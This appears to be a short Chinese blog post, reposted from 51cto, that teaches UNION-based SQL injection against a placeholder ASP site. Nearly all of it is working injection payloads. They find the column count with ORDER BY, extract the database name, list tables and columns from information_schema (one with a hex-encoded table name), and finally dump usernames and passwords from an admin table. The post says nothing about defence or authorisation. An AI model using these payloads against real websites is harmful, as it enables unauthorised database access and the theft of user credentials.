sql注入:union联合查询

例如有一个网站:www.xxxxx.com/artist.asp?id=2

id=2 order by 3  正常
id=2 order by 4  不正常

order by需要获取字段的总数为3

id=2 union select 1,2,3
id=2 union select 1,2,database()   #爆数据库名
id=2 union select 1,2,database()

有一些数据,union联合查询后,不会多行显示,就需要先让前面的语句失效

id=-2 union select 1,2,database()
id=-2 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA='sqlzhuru' #已知数据库sqlzhuru,爆表名(第一个表)

因id = -2不存在,带入select * from admin where id=-2报错哦
当然你也可以用下面的这个语句,效果等同于“id=-2”

id=2 and 1=2 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA='sqlzhuru' #已知数据库sqlzhuru,爆表名(第一个表)
id=2 and 1=2 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA='sqlzhuru' limit 0,1 #已知数据库sqlzhuru,爆表名(第一个表)
id=2 and 1=2 union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA='sqlzhuru' limit 1,1 #已知数据库sqlzhuru,爆第二个表

假如得到admin表,继续如下:

id=2 and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin' limit 1,1   #已知admin表,爆二个列名
id=2 and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin' limit 2,1   #已知admin表,爆三个列名
id=2 and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 2,1  #已知admin表,爆三个列名(十六进制表示admin表)

假如上面得到admin表下的username、password列,接下来就可以列出某某的数据了
id=2 and 1=2 union select 1,username,password from admin

猜你喜欢

转载自blog.51cto.com/14563906/2465959